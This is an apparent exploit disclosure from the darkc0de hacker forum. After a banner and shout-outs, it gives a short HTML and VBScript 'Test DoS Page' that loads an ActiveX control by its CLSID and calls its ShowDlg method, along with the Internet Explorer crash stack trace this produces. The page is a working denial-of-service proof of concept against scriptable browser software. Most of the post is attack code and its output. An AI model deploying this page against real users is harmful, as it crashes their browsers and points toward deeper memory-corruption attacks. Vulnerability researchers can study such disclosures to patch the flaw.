################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# Greetz to all Darkc0de ,AI, AH,ICW Memebers
#Shoutz to r45c4l,j4ckh4x0r,silic0n,smith,baltazar,d3hydr8,FB1H2S, lowlz,Eberly,Sumit,zerocode,dalsim,7, Anirban , Anas, Navneet ,Varun, Dilip, Manish
#Special Thanks to r45c4l for allowing analysis on his product
#RegKey Safe for Script: False
#RegKey Safe for Init: False
#Implements IObjectSafety: True
<html>
Test DoS Page
<object classid='clsid:CDF8A044-74AF-4045-AE13-D8AEDF802538' id='target' ></object>
<script language='vbscript'>
arg1=String(1, "A")
target.ShowDlg arg1
</script>
Access violation exception (0xC0000005) when trying to read from memory location 0x00000020 in the thread below.
Function Arg 1 Arg 2 Arg 3 Source
TargetControl+145d0 0000000f 00000000 00000000
mfc80u!CWnd::WindowProc+22 0000000f 00000000 00000000
mfc80u!AfxCallWndProc+a3 00000000 003008d0 0000000f
mfc80u!AfxWndProc+35 003008d0 0000000f 00000000
TargetControl!DllGetClassObject+c1a2 003008d0 0000000f 00000000
user32!InternalCallWinProc+28 05987d5f 003008d0 0000000f
user32!UserCallWinProcCheckWow+150 03c6a110 05987d5f 003008d0
user32!DispatchClientMessage+a3 0068d978 0000000f 00000000
user32!__fnDWORD+24 0013debc 00000018 0068d978
ntdll!KiUserCallbackDispatcher+13 7e42aedc 003e08f6 0000005e
user32!NtUserCallHwndLock+c 003e08f6 0694e16c 0013df74
mfc80u!CWnd::RunModalLoop+77 00000004 4aba760d 00000000
mfc80u!CDialog::DoModal+129 4ab791a2 05540874 00000000
TargetControl+ef9f 0694db40 0000001c 00000004
oleaut32!CTypeInfo2::Invoke+234 03c7491c 0694db40 00000000
TargetControl+11c58 0694db40 00000001 00000409
mshtml!COleSite::ContextInvokeEx+149 0414b6f0 00000001 00000409
mshtml!COleSite::ContextThunk_InvokeEx+44 0414b6f0 00000001 00000409
vbscript!IDispatchExInvokeEx2+a9 0003b8d8 0414ce50 00000001
vbscript!IDispatchExInvokeEx+56 0003b8d8 0414ce50 00000001
vbscript!InvokeDispatch+101 0003b8d8 0003b990 00000001
vbscript!InvokeByName+42 0003b8d8 0414ce50 00000001
vbscript!CScriptRuntime::RunNoEH+234c 0013e6a4 4aab5064 00000000
vbscript!CScriptRuntime::Run+62 0013e6a4 0003fd08 0003b8d8
vbscript!CScriptEntryPoint::Call+51 0013e6a4 00000000 00000000
vbscript!CSession::Execute+c8 0003fd08 0013e888 00000000
vbscript!COleScript::ExecutePendingScripts+144 0013e888 0013e868 0003e454
vbscript!COleScript::ParseScriptTextCore+243 0414cd54 0414a394 00000000
vbscript!COleScript::ParseScriptText+2b 0003e454 0414cd54 0414a394
mshtml!CScriptCollection::ParseScriptText+1da 0414ca90 73301e34 00000000
mshtml!CScriptElement::CommitCode+1e1 00000000 00000000 00000000
mshtml!CScriptElement::Execute+a4 0414a520 06194d97 00000000
mshtml!CHtmParse::Execute+41 0414a5e0 0414a520 7dcc4b65
mshtml!CHtmPost::Broadcast+d 7dcc4b83 06194d97 0414a520
mshtml!CHtmPost::Exec+32b 06194d97 0414a520 04140810
mshtml!CHtmPost::Run+12 06194d97 04140810 06194ccf
mshtml!PostManExecute+51 04140810 06194d97 0414a520
mshtml!PostManOnTimer+76 00250938 00000113 00001003
user32!InternalCallWinProc+28 7dcfb9d8 00250938 00000113
user32!UserCallWinProc+f3 00000000 7dcfb9d8 00250938
user32!DispatchMessageWorker+10e 0013eb90 00000000 0013eb78
user32!DispatchMessageW+f 0013eb90 00000000 00163468
browseui!TimedDispatchMessage+33 0013eb90 0013ee98 00000000
browseui!BrowserThreadProc+336 00162ca8 0013ee98 00162ca8
browseui!BrowserProtectedThreadProc+50 00162ca8 00162ca8 00000000
browseui!SHOpenFolderWindow+22c 00162ca8 00000000 00000000
shdocvw!IEWinMain+133 001523ba 00000001 0140d0b8
iexplore!WinMainT+2de 00400000 00000000 001523ba
iexplore!_ModuleEntry+99 0140d0b8 00000018 7ffdf000
kernel32!BaseProcessStart+23 00402451 00000000 78746341
